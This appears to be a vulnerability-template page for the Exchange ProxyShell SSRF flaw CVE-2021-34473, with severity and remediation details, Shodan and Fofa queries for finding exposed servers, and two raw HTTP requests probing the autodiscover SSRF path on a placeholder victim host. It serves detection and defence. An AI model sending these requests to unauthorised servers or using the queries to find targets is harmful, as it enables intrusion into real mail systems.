| Title | Exchange Server - Remote Code Execution |
|---|---|
| Author | arcc,intx0x80,dwisiswant0,r3dg33k |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected Exchange Server, potentially leading to a complete compromise of the system. |
| Remediation | Apply Microsoft Exchange Server 2019 Cumulative Update 9 or upgrade to the latest version. |
| CVSS Score | 9.1 |
| EPSS Score | 0.9423 |
| CVE ID | CVE-2021-34473 |
| CWE ID | CWE-918 |
| Shodan Query | vuln:cve-2021-26855http.favicon.hash:1768726119http.title:"outlook"cpe:"cpe:2.3:a:microsoft:exchange_server" |
| Fofa Query | title="outlook"icon_hash=1768726119 |
| Tags | cve2021 cve ssrf rce exchange kev microsoft vkev vuln |
Microsoft Exchange Server is vulnerable to a remote code execution vulnerability. This CVE ID is unique from CVE-2021-31196, CVE-2021-31206.
GET /autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.17
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34473.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-34473.pcap
N/AN/A